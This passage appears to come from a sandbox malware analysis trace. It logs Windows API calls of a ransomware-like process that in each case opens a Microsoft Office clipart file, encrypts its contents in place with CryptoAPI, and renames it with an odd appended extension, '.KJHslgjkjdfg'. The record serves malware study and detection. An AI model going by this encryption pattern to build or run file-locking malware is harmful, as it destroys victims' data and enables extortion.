[0200.959] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.959] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.959] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.960] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.960] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.960] GetProcessHeap () returned 0x990000 [0200.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.960] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.961] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.961] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.961] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.961] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.961] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.961] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe42c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe42c, lpOverlapped=0x0) returned 1 [0200.963] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe430, dwBufLen=0xe430 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe430) returned 1 [0200.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.964] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe430, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe430, lpOverlapped=0x0) returned 1 [0200.964] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.964] SetEndOfFile (hFile=0x130) returned 1 [0200.967] GetProcessHeap () returned 0x990000 [0200.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.967] GetProcessHeap () returned 0x990000 [0200.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.kjhslgjkjdfg")) returned 1 [0200.969] CloseHandle (hObject=0x130) returned 1 [0200.969] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0200.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.971] GetProcessHeap () returned 0x990000 [0200.971] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.971] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.971] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0200.974] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.974] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.974] GetProcessHeap () returned 0x990000 [0200.974] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.974] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.974] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.974] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.974] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.974] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.974] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.974] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.975] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.975] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.975] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1088e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1088e, lpOverlapped=0x0) returned 1 [0200.977] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10890, dwBufLen=0x10890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10890) returned 1 [0200.978] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.978] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10890, lpOverlapped=0x0) returned 1 [0200.978] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.978] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.978] SetEndOfFile (hFile=0x130) returned 1 [0200.982] GetProcessHeap () returned 0x990000 [0200.982] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.982] GetProcessHeap () returned 0x990000 [0200.982] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.kjhslgjkjdfg")) returned 1 [0200.984] CloseHandle (hObject=0x130) returned 1 [0200.984] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0200.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.985] GetProcessHeap () returned 0x990000 [0200.985] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.985] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.985] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.988] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.988] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.988] GetProcessHeap () returned 0x990000 [0200.988] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.988] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.988] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.988] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.988] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.988] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.988] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.988] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.989] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.989] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.989] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x107ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x107ec, lpOverlapped=0x0) returned 1 [0200.991] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x107f0, dwBufLen=0x107f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x107f0) returned 1 [0200.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.992] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x107f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x107f0, lpOverlapped=0x0) returned 1 [0200.992] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x108c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.992] SetEndOfFile (hFile=0x130) returned 1 [0200.996] GetProcessHeap () returned 0x990000 [0200.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.996] GetProcessHeap () returned 0x990000 [0200.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.kjhslgjkjdfg")) returned 1 [0200.998] CloseHandle (hObject=0x130) returned 1 [0200.998] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0200.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.999] GetProcessHeap () returned 0x990000 [0200.999] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.999] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.999] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.003] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.003] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.003] GetProcessHeap () returned 0x990000 [0201.003] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.003] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.003] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.003] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.003] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.003] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.003] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.003] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.004] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.004] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.004] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x59ce, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x59ce, lpOverlapped=0x0) returned 1 [0201.005] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59d0, dwBufLen=0x59d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59d0) returned 1 [0201.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.005] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x59d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x59d0, lpOverlapped=0x0) returned 1 [0201.005] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.006] SetEndOfFile (hFile=0x130) returned 1 [0201.009] GetProcessHeap () returned 0x990000 [0201.009] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.009] GetProcessHeap () returned 0x990000 [0201.009] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.kjhslgjkjdfg")) returned 1 [0201.010] CloseHandle (hObject=0x130) returned 1 [0201.011] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0201.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.012] GetProcessHeap () returned 0x990000 [0201.012] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.012] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.012] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0201.014] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.014] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.015] GetProcessHeap () returned 0x990000 [0201.015] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.015] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.015] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.015] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.015] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, 